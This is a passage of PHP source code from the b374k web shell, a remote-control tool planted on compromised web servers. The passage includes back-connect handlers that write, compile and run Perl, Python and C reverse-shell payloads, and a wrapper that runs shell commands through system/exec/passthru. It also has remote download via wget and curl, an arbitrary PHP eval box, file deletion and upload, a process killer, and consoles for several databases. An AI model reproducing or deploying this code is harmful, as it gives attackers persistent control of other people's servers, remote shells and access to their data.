if(is_file($fpath.".c")) unlink($fpath.".c"); if($file=fopen($fpath.".c","w")){ fwrite($file,$fc); fclose($file); if(is_file($fpath.".c")){ $res = exe("gcc ".$fpath.".c -o ".$fpath); if(is_file($fpath)){ $res = exe("chmod +x ".$fpath); $res = exe($fpath." ".$target); } else $result = $errgcc; } else $result = $errperm; } else $result = $errperm; } else{ $fpath = $fpath . ".exe"; if(is_file($fpath)) unlink($fpath); if($file=fopen($fpath,"w")){ fwrite($file,$fc); fclose($file); if(is_file($fpath)){ $res = exe("\"".$fpath."\" ".$target); } else $result = $errperm; } else $result = $errperm; } } elseif($type == "xback_pl"){ $fname = "b374k_back.pl"; $fpath = $d.$fname; $tar = explode(" ",$target,2); if(is_file($fpath)) unlink($fpath); if($file=fopen($fpath,"w")){ fwrite($file,$fc); fclose($file); if(is_file($fpath)){ $res = exe("chmod +x ".$fpath); $res = exe("perl ".$fpath." ".$target); } else $result = $errperm; } else $result = $errperm; } elseif($type == "xback_py"){ $fname = "b374k_back.py"; $fpath = $d.$fname; $tar = explode(" ",$target,2); if(is_file($fpath)) unlink($fpath); if($file=fopen($fpath,"w")){ fwrite($file,$fc); fclose($file); if(is_file($fpath)){ $res = exe("chmod +x ".$fpath); $res = exe("python ".$fpath." ".$target); } else $result = $errperm; } else $result = $errperm; } elseif($type == "xback_bin"){ $fname = "b374k_back"; $fpath = $d.$fname; $tar = explode(" ",$target,2); if(!$s_win){ if(is_file($fpath)) unlink($fpath); if(is_file($fpath.".c")) unlink($fpath.".c"); if($file=fopen($fpath.".c","w")){ fwrite($file,$fc); fclose($file); if(is_file($fpath.".c")){ $res = exe("gcc ".$fpath.".c -o ".$fpath); if(is_file($fpath)){ $res = exe("chmod +x ".$fpath); $res = exe($fpath." ".$target); } else $result = $errgcc; } else $result = $errperm; } else $result = $errperm; } else{ $fpath = $fpath . ".exe"; if(is_file($fpath)) unlink($fpath); if($file=fopen($fpath,"w")){ fwrite($file,$fc); fclose($file); if(is_file($fpath)){ $res = exe($fpath." ".$target); } else $result = $errperm; } else $result = $errperm; } } return $result; } function gs($f){ if($s = filesize($f)){ if($s <= 1024) return $s; else{ if($s <= 1024*1024) { $s = round($s / 1024,2);; return $s." kb"; } else { $s = round($s / 1024 / 1024,2); return $s." mb"; } } } else return "???"; } function gp($f){ if($m=fileperms($f)){ $p=\'\'; $p .= ($m & 00400) ? \'r\' : \'-\'; $p .= ($m & 00200) ? \'w\' : \'-\'; $p .= ($m & 00100) ? \'x\' : \'-\'; $p .= ($m & 00040) ? \'r\' : \'-\'; $p .= ($m & 00020) ? \'w\' : \'-\'; $p .= ($m & 00010) ? \'x\' : \'-\'; $p .= ($m & 00004) ? \'r\' : \'-\'; $p .= ($m & 00002) ? \'w\' : \'-\'; $p .= ($m & 00001) ? \'x\' : \'-\'; return $p; } else return "??????????"; } function exe($c){ if(function_exists(\'system\')) { ob_start(); system($c); $b = ob_get_contents(); ob_end_clean(); return $b; } elseif(function_exists(\'shell_exec\')){ $b = shell_exec($c); return $b; } elseif(function_exists(\'exec\')) { exec($c,$r); $b = ""; foreach($r as $s){ $b .= $s; } return $b; } elseif(function_exists(\'passthru\')) { ob_start(); passthru($c); $b = ob_get_contents(); ob_end_clean(); return $b; } return ""; } function cp($p){ if(is_dir($p)){ $x = DIRECTORY_SEPARATOR; while(substr($p,-1) == $x) $p = rtrim($p,$x); return $p.$x; } return $p; } function rmdirs($d) { $f = glob($d . \'*\', GLOB_MARK); foreach($f as $z){ if(is_dir($z)) rmdirs($z); else unlink($z); } if(is_dir($d)) rmdir($d); } function xwhich($pr){ $p = exe("which $pr"); if(trim($p)!="") { return trim($p); } else { return trim($pr); } } function dlfile($u,$p){ $n = basename($u); if($t = file_get_contents($u)){ if(is_file($p)) unlink($p);; if($f=fopen($p,"w")){ fwrite($f,$t); fclose($f); if(is_file($p)) return true; } } exe(xwhich(\'wget\')." ".$u." -O ".$p); if(is_file($p)) return true; exe(xwhich(\'lwp-download\')." ".$u." ".$p); if(is_file($p)) return true; exe(xwhich(\'lynx\')." -source ".$u." > ".$p); if(is_file($p)) return true; exe(xwhich(\'curl\')." ".$u." -o ".$p); if(is_file($p)) return true; return false; } function showdir($pwd,$prompt,$win){ if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE; $user = "????:????"; $fname = array(); $dname = array(); if($dh = scandir($pwd)){ foreach($dh as $file){ if(is_dir($file)) $dname[] = $file; elseif(is_file($file)) $fname[] = $file; } } else{ if($dh = opendir($pwd)){ while($file = readdir($dh)){ if(is_dir($file)) $dname[] = $file; elseif(is_file($file))$fname[] = $file; } closedir($dh); } } sort($fname); sort($dname); $path = explode(DIRECTORY_SEPARATOR,$pwd); $tree = sizeof($path); $parent = ""; $buff = "
 <table class=\"explore sortable\">
 <tr><th>name</th><th style=\"width:60px;\">size</th><th style=\"width:100px;\">owner : group</th><th style=\"width:70px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:210px;\">actions</th></tr>
 "; if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; else $parent = $pwd; foreach($dname as $folder){ if($folder == ".") { if(!$win && $posix){ $name = posix_getpwuid(fileowner($folder)); $group = posix_getgrgid(filegroup($folder)); $owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\']; } else { $owner = $user; } $buff .= "<tr><td><a href=\"?d=".$pwd."\">[ $folder ]</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?d=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar(\'titik1\',\'titik1_form\');\">newfolder</a> | <a href=\"?upload&amp;d=$pwd\">upload</a></span>
 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
 </form></td></tr>
 "; } elseif($folder == "..") { if(!$win && $posix){ $name = posix_getpwuid(fileowner($folder)); $group = posix_getgrgid(filegroup($folder)); $owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\']; } else { $owner = $user; } $buff .= "<tr><td><a href=\"?d=".$parent."\">[ $folder ]</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?d=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar(\'titik2\',\'titik2_form\');\">newfolder</a> | <a href=\"?upload&amp;d=$parent\">upload</a></span>
 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
 </form>
 </td></tr>"; } else { if(!$win && $posix){ $name = posix_getpwuid(fileowner($folder)); $group = posix_getgrgid(filegroup($folder)); $owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\']; } else { $owner = $user; } $buff .= "<tr><td><a id=\"".cs($folder)."_link\" href=\"?d=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
 <form action=\"?\" method=\"post\" id=\"".cs($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
 <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".cs($folder)."_form\',\'".cs($folder)."_link\');\" />
 </form>
 <td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($folder))."</td><td><a href=\"javascript:tukar(\'".cs($folder)."_link\',\'".cs($folder)."_form\');\">rename</a> | <a href=\"?d=".$pwd."&amp;rmdir=".$pwd.$folder."\">delete</a> | <a href=\"?upload&amp;d=".$pwd.$folder."\">upload</a></td></tr>"; } } foreach($fname as $file){ $full = $pwd.$file; if(!$win && $posix){ $name = posix_getpwuid(fileowner($folder)); $group = posix_getgrgid(filegroup($folder)); $owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\']; } else { $owner = $user; } $buff .= "<tr><td><a id=\"".cs($file)."_link\" href=\"?d=$pwd&amp;view=$full\">$file</a>
 <form action=\"?\" method=\"post\" id=\"".cs($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
 <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".cs($file)."_link\',\'".cs($file)."_form\');\" />
 </form>
 </td><td>".gs($full)."</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($full))."</td>
 <td><a href=\"?d=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar(\'".cs($file)."_link\',\'".cs($file)."_form\');\">rename</a> | <a href=\"?d=$pwd&amp;delete=$full\">delete</a> | <a href=\"?d=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?d=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>"; } $buff .= "</table>"; return $buff; } if(isset($_REQUEST[\'favicon\'])){ $data = gzinflate(base64_decode($favicon)); header("Content-type: image/png"); header("Cache-control: public"); echo $data; exit; } if($s_auth){ $s_software = getenv("SERVER_SOFTWARE"); if (ini_get("safe_mode") or strtolower(ini_get("safe_mode")) == "on") $s_safemode = TRUE; else $s_safemode = FALSE; $s_system = php_uname(); $s_win = FALSE; if(strtolower(substr($s_system,0,3)) == "win") $s_win = TRUE; $letters = \'\'; if(!$s_win){ if(!$s_user = rp(exe("whoami"))) $s_user = ""; if(!$s_id = rp(exe("id"))) $s_id = ""; $pwd = getcwd().DIRECTORY_SEPARATOR; } else { $s_user = get_current_user(); $s_id = $s_user; $pwd = realpath(".")."\"; $v = explode("\",$d); $v = $v[0]; foreach (range("A","Z") as $letter){ $bool = @is_dir($letter.":\"); if ($bool){ $letters .= "<a href=\"?d=".$letter.":\\">[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "<span class=\"gaya\">".$letter."</span>";} $letters .= " ]</a> "; } } } $s_prompt = $s_user." &gt;"; if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $s_posix = TRUE; else $s_posix = FALSE; $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); $s_my_ip = $_SERVER[\'REMOTE_ADDR\']; if(isset($_REQUEST[\'d\'])){ $d = ss($_REQUEST[\'d\']); if(is_dir($d)){ chdir($d); $pwd = cp($d); } } else $pwd = cp(getcwd()); if(isset($_REQUEST[\'sorttable\'])){ $data = gzinflate(base64_decode($sortable_js)); header("Content-type: text/plain"); header("Cache-control: public"); echo $data; exit; } if(isset($_REQUEST[\'dl\']) && ($_REQUEST[\'dl\'] != "")){ $f = ss($_REQUEST[\'dl\']); $fc = file_get_contents($f); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($fc)); header("Content-disposition: attachment; filename=\"".basename($f)."\";"); echo $fc; exit; } elseif(isset($_REQUEST[\'dlgzip\']) && ($_REQUEST[\'dlgzip\'] != "")){ $f = ss($_REQUEST[\'dlgzip\']); $fc = gzencode(file_get_contents($f)); header("Content-Type:application/x-gzip
"); header("Content-length: ".strlen($fc)); header("Content-disposition: attachment; filename=\"".basename($f).".gz\";"); echo $fc; exit; } if(isset($_REQUEST[\'pid\'])){ $p = ss($_REQUEST[\'pid\']); if(function_exists("posix_kill")) posix_kill($p,\'9\'); else{ exe("kill -9 ".$p); exe("taskkill /F /PID ".$p); } } if(isset($_REQUEST[\'img\'])){ ob_clean(); $d = ss($_REQUEST[\'d\']); $f = ss($_REQUEST[\'img\']); $inf = getimagesize($d.$f); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; header("Content-type: ".$inf["mime"]); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); readfile($d.$f); exit; } if(isset($_REQUEST[\'rename\']) && isset($_REQUEST[\'oldname\']) && isset($_REQUEST[\'newname\'])){ $old = ss($_REQUEST[\'oldname\']); $new = ss($_REQUEST[\'newname\']); rename($pwd.$old,$pwd.$new); $fnew = $pwd.$new; } if(isset($_REQUEST[\'delete\']) && ($_REQUEST[\'delete\'] != "")){ $f = ss($_REQUEST[\'delete\']); if(is_file($f)) unlink($f); } elseif(isset($_REQUEST[\'rmdir\']) && ($_REQUEST[\'rmdir\'] != "")){ $f = ss(rtrim(ss($_REQUEST[\'rmdir\'],DIRECTORY_SEPARATOR))); if(is_dir($f)) rmdirs($f); } elseif(isset($_REQUEST[\'mkdir\']) && ($_REQUEST[\'mkdir\'] != "")){ $f = ss($pwd.ss($_REQUEST[\'mkdir\'])); if(!is_dir($f)) mkdir($f); } $s_result = ""; if(isset($_REQUEST[\'eval\'])){ $c = ""; if(isset($_REQUEST[\'evalcode\'])){ $c = ss($_REQUEST[\'evalcode\']); ob_start(); eval($c); $b = ob_get_contents(); ob_end_clean(); $c = $b; } $s_result .= " <form action=\"?\" method=\"post\">
 <textarea id=\"evalcode\" name=\"evalcode\" class=\"evalcode\">".htmlspecialchars($code)."</textarea>
 <p><input type=\"submit\" name=\"evalcodesubmit\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" /></p>
 <input type=\"hidden\" name=\"eval\" value=\"\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </form>
 "; } elseif(isset($_REQUEST[\'upload\'])){ $s_result = " "; $msg = ""; if(isset($_REQUEST[\'uploadhd\'])){ $fn = $_FILES[\'filepath\'][\'name\']; if(is_uploaded_file($_FILES[\'filepath\'][\'tmp_name\'])){ $p = cp(ss($_REQUEST[\'savefolder\'])); if(!is_dir($p)) $p = cp(dirname($p)); if(isset($_REQUEST[\'savefilename\']) && (trim($_REQUEST[\'savefilename\'])!="")) $fn = ss($_REQUEST[\'savefilename\']); $tm = $_FILES[\'filepath\'][\'tmp_name\']; $pi = cp($p).$fn; $st = move_uploaded_file($tm,$pi); if($st) $msg = "<p class=\"rs_result\">file uploaded to <a href=\"?d=".$pwd."&amp;view=".$pi."\">".$pi."</a></p>"; else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>"; } else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>"; } elseif(isset($_REQUEST[\'uploadurl\'])){ $p = cp(ss($_REQUEST[\'savefolderurl\'])); if(!is_dir($p)) $p = cp(dirname($p)); $fu = ss($_REQUEST[\'fileurl\']); $fn = basename($fu); if(isset($_REQUEST[\'savefilenameurl\']) && (trim($_REQUEST[\'savefilenameurl\'])!="")) $fn = ss($_REQUEST[\'savefilenameurl\']); $fp = cp($p).$fn; $st = dlfile($fu,$fp); if($st) $msg = "<p class=\"rs_result\">file uploaded to <a href=\"?d=".$pwd."&amp;view=".$fp."\">".$fp."</a></p>"; else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>"; } $s_result .= $msg; $s_result .= "
 <form action=\"?upload\" method=\"post\" enctype=\"multipart/form-data\">
 <div class=\"mybox\"><h2>Upload from computer</h2>
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">File</td><td><input type=\"file\" name=\"filepath\" class=\"inputzbut\" style=\"width:400px;margin:0;\" />
 </td></tr>
 <tr><td>Save to</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolder\" value=\"".$pwd."\" /></td></tr>
 <tr><td>Filename (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilename\" value=\"\" /></td></tr>
 <tr><td>&nbsp;</td><td>
 <input type=\"submit\" name=\"uploadhd\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 </td></tr>
 
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </table>
 </div>
 </form>
 
 <form action=\"?upload\" method=\"post\">
 <div class=\"mybox\"><h2>Upload from internet</h2>
 <table class=\"myboxtbl\">
 <tr><td style=\"width:100px;\">File URL</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"fileurl\" value=\"\" />
 </td></tr>
 <tr><td>Save to</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolderurl\" value=\"".$pwd."\" /></td></tr>
 <tr><td>Filename (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilenameurl\" value=\"\" /></td></tr>
 <tr><td>&nbsp;</td><td>
 <input type=\"submit\" name=\"uploadurl\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
 </td></tr>
 
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 </table>
 </div>
 </form>
 
 "; } elseif(isset($_REQUEST[\'phpinfo\'])){ ob_start(); eval("phpinfo();"); $b = ob_get_contents(); ob_end_clean(); $a = strpos($b,"<body>")+6; $z = strpos($b,"</body>"); $s_result = "<div class=\"phpinfo\">".substr($b,$a,$z-$a)."</div>"; } elseif(isset($_REQUEST[\'db\'])){ $sqlhost = $sqlhost1 = $sqlhost2 = $sqlhost3 = $sqlhost4 = \'localhost\'; $sqluser = $sqluser1 = $sqluser2 = $sqluser3 = $sqluser4 = $odbcuser = $odbcdsn = $pdodsn = $pdouser = \'\'; $sqlport = $sqlport1 = $sqlport2 = $sqlport3 = $sqlport4 = \'\'; $sqlpass = $sqlpass1 = $sqlpass2 = $sqlpass3 = $sqlpass4 = $odbcpass = $pdopass = \'\'; if(isset($_REQUEST[\'mysqlcon\'])&&isset($_REQUEST[\'sqlhost1\'])) $sqlhost = $sqlhost1 = ss($_REQUEST[\'sqlhost1\']); if(isset($_REQUEST[\'mssqlcon\'])&&isset($_REQUEST[\'sqlhost2\'])) $sqlhost = $sqlhost2 = ss($_REQUEST[\'sqlhost2\']); if(isset($_REQUEST[\'pgsqlcon\'])&&isset($_REQUEST[\'sqlhost3\'])) $sqlhost = $sqlhost3 = ss($_REQUEST[\'sqlhost3\']); if(isset($_REQUEST[\'oraclecon\'])&&isset($_REQUEST[\'sqlhost4\'])) $sqlhost = $sqlhost4 = ss($_REQUEST[\'sqlhost4\']); if(isset($_REQUEST[\'odbccon\'])&&isset($_REQUEST[\'odbcdsn\'])) $odbcdsn = ss($_REQUEST[\'odbcdsn\']); if(isset($_REQUEST[\'pdocon\'])&&isset($_REQUEST[\'pdodsn\'])) $pdodsn = ss($_REQUEST[\'pdodsn\']); if(isset($_REQUEST[\'sqlhost\'])) $sqlhost = ss($_REQUEST[\'sqlhost\']); if(isset($_REQUEST[\'mysqlcon\'])&&isset($_REQUEST[\'sqluser1\'])) $sqluser = $sqluser1 = ss($_REQUEST[\'sqluser1\']); if(isset($_REQUEST[\'mssqlcon\'])&&isset($_REQUEST[\'sqluser2\'])) $sqluser = $sqluser2 = ss($_REQUEST[\'sqluser2\']); if(isset($_REQUEST[\'pgsqlcon\'])&&isset($_REQUEST[\'sqluser3\'])) $sqluser = $sqluser3 = ss($_REQUEST[\'sqluser3\']); if(isset($_REQUEST[\'oraclecon\'])&&isset($_REQUEST[\'sqluser4\'])) $sqluser = $sqluser4 = ss($_REQUEST[\'sqluser4\']); if(isset($_REQUEST[\'odbccon\'])&&isset($_REQUEST[\'odbcuser\'])) $odbcuser = ss($_REQUEST[\'odbcuser\']); if(isset($_REQUEST[\'pdocon\'])&&isset($_REQUEST[\'pdouser\'])) $pdouser = ss($_REQUEST[\'pdouser\']); if(isset($_REQUEST[\'sqluser\'])) $sqluser = ss($_REQUEST[\'sqluser\']); if(isset($_REQUEST[\'mysqlcon\'])&&isset($_REQUEST[\'sqlport1\'])) $sqlport = $sqlport1 = ss($_REQUEST[\'sqlport1\']); if(isset($_REQUEST[\'mssqlcon\'])&&isset($_REQUEST[\'sqlport2\'])) $sqlport = $sqlport2 = ss($_REQUEST[\'sqlport2\']); if(isset($_REQUEST[\'pgsqlcon\'])&&isset($_REQUEST[\'sqlport3\'])) $sqlport = $sqlport3 = ss($_REQUEST[\'sqlport3\']); if(isset($_REQUEST[\'oraclecon\'])&&isset($_REQUEST[\'sqlport4\'])) $sqlport = $sqlport4 = ss($_REQUEST[\'sqlport4\']); if(isset($_REQUEST[\'sqlport\'])) $sqlport = ss($_REQUEST[\'sqlport\']); if(isset($_REQUEST[\'mysqlcon\'])&&isset($_REQUEST[\'sqlpass1\'])) $sqlpass = $sqlpass1 = ss($_REQUEST[\'sqlpass1\']); if(isset($_REQUEST[\'mssqlcon\'])&&isset($_REQUEST[\'sqlpass2\'])) $sqlpass = $sqlpass2 = ss($_REQUEST[\'sqlpass2\']); if(isset($_REQUEST[\'pgsqlcon\'])&&isset($_REQUEST[\'sqlpass3\'])) $sqlpass = $sqlpass3 = ss($_REQUEST[\'sqlpass3\']); if(isset($_REQUEST[\'oraclecon\'])&&isset($_REQUEST[\'sqlpass4\'])) $sqlpass = $sqlpass4 = ss($_REQUEST[\'sqlpass4\']); if(isset($_REQUEST[\'odbccon\'])&&isset($_REQUEST[\'odbcpass\'])) $odbcpass = ss($_REQUEST[\'odbcpass\']); if(isset($_REQUEST[\'pdocon\'])&&isset($_REQUEST[\'pdopass\'])) $pdopass = ss($_REQUEST[\'pdopass\']); if(isset($_REQUEST[\'sqlpass\'])&&isset($_REQUEST[\'sqlpass\'])) $sqlpass = ss($_REQUEST[\'sqlpass\']); $sqls = ""; $q_result = ""; $hostandport = $sqlhost; if(trim($sqlport)!="") $hostandport = $sqlhost.":".$sqlport; if(isset($_REQUEST[\'mysqlcon\']) && ($con = mysql_connect($hostandport,$sqluser,$sqlpass))){ if(isset($_REQUEST[\'sqlcode\'])){ $sqls = ss($_REQUEST[\'sqlcode\']); $querys = explode(";",$sqls); foreach($querys as $query){ if(trim($query) != ""){ $hasil = mysql_query($query); if($hasil){ $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
 <table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<mysql_num_fields($hasil);$i++) $q_result .= "<th>".htmlspecialchars(mysql_field_name($hasil,$i))."</th>"; $q_result .= "</tr>"; while($rows=mysql_fetch_array($hasil)){ $q_result .= "<tr>"; for($j=0;$j<mysql_num_fields($hasil);$j++) { if($rows[$j] == "") $dataz = " "; else $dataz = $rows[$j]; $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; } $q_result .= "</tr>"; } $q_result .= "</table>"; } else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else $sqls = "SHOW databases;"; $s_result .= " <form action=\"?db\" method=\"post\">
 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
 <p><input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
 &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
 </form>"; $s_result .= "<div>".$q_result."</div>"; if($con) mysql_close($con); } elseif(isset($_REQUEST[\'mssqlcon\']) && ($con = mssql_connect($hostandport,$sqluser,$sqlpass))){ if(isset($_REQUEST[\'sqlcode\'])){ $sqls = ss($_REQUEST[\'sqlcode\']); $querys = explode(";",$sqls); foreach($querys as $query){ if(trim($query) != ""){ $hasil = mssql_query($query); if($hasil){ $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
 <table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=0;$i<mssql_num_fields($hasil);$i++) $q_result .= "<th>".htmlspecialchars(mssql_field_name($hasil,$i))."</th>"; $q_result .= "</tr>"; while($rows=mssql_fetch_array($hasil)){ $q_result .= "<tr>"; for($j=0;$j<mssql_num_fields($hasil);$j++) { if($rows[$j] == "") $dataz = " "; else $dataz = $rows[$j]; $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; } $q_result .= "</tr>"; } $q_result .= "</table>"; } else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else $sqls = "EXEC sp_databases;"; $s_result .= " <form action=\"?db\" method=\"post\">
 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
 <p><input type=\"submit\" name=\"mssqlcon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
 &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
 </form>"; $s_result .= "<div>".$q_result."</div>"; if($con) mssql_close($con); } elseif(isset($_REQUEST[\'oraclecon\']) && ($con = oci_connect($sqluser,$sqlpass,$hostandport))){ if(isset($_REQUEST[\'sqlcode\'])){ $sqls = ss($_REQUEST[\'sqlcode\']); $querys = explode(";",$sqls); foreach($querys as $query){ if(trim($query) != ""){ $st = oci_parse($con, $query); if(oci_execute($st)){ $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p>
 <table class=\"explore\" style=\"width:99%;\"><tr>"; for($i=1;$i<=oci_num_fields($st);$i++) $q_result .= "<th>".htmlspecialchars(oci_field_name($st,$i))."</th>"; $q_result .= "</tr>"; while($rows=oci_fetch_array($st)){ $q_result .= "<tr>"; for($j=0;$j<oci_num_fields($st);$j++) { if($rows[$j] == "") $dataz = " "; else $dataz = $rows[$j]; $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; } $q_result .= "</tr>"; } $q_result .= "</table>"; } else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
 <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; } } } else $sqls = "SELECT * FROM user_tablespaces;"; $s_result .= " <form action=\"?db\" method=\"post\">
 <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" />
 <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" />
 <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" />
 <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" />
 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
 <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea>
 <p><input type=\"submit\" name=\"oraclecon\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" />
 &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p>
 </form>"; $s_result .= "<div>".$q_result."</div>"; if($con) oci_close($con); } elseif(isset($_REQUEST[\'pgsqlcon\']) && ($con = pg_connect("host=$sqlhost user=$sqluser password=$sqlpass port=$sqlport"))){ if(isset($_REQUEST[\'sqlcode\'])){ $sqls = ss($_REQUEST[\'sqlcode\']); $querys = explode(";",$sqls); foreach($querys as $query){ if(trim($query) != ""){ $hasil = pg_query($query); if($hasil){ $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp;
